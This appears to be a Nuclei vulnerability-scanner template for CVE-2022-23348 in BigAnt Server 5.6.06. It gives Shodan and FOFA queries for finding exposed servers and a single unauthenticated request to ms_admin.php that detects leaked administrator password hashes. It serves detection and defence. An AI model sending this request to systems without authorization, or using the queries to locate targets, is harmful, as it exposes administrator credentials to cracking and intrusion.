id: CVE-2022-23348

info:
  name: BigAnt Server 5.6.06 - Improper Access Control
  author: arafatansari
  severity: medium
  description: |
    BigAnt Server 5.6.06 is susceptible to improper access control. The software utililizes weak password hashes. An attacker can craft a password hash and thereby possibly possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Unauthenticated attackers can access the ms_admin.php file containing weak password hashes for administrative accounts, potentially facilitating password cracking and unauthorized access.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the access control issue.
  reference:
    - https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23348
    - http://bigant.com
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23348
    - https://www.bigantsoft.com/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-23348
    cwe-id: CWE-916
    epss-score: 0.03379
    epss-percentile: 0.87218
    cpe: cpe:2.3:a:bigantsoft:bigant_server:5.6.06:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bigantsoft
    product: bigant_server
    shodan-query: http.html:"bigant"
    fofa-query: body="bigant"
  tags: cve,cve2022,bigant,unauth,exposure,bigantsoft,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Runtime/Data/ms_admin.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"user_name";'
          - '"user_pwd";'
          - '"user_id";'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100901d776ef3473001eabc82ff17e9f247dfbd32de3f223f91f0b72e745872bad202203c5dae9656285b4b746f1b6d63f119150fae2e0ff7914af7380e2cec19a40605:922c64590222798bb761d5b6d8e72950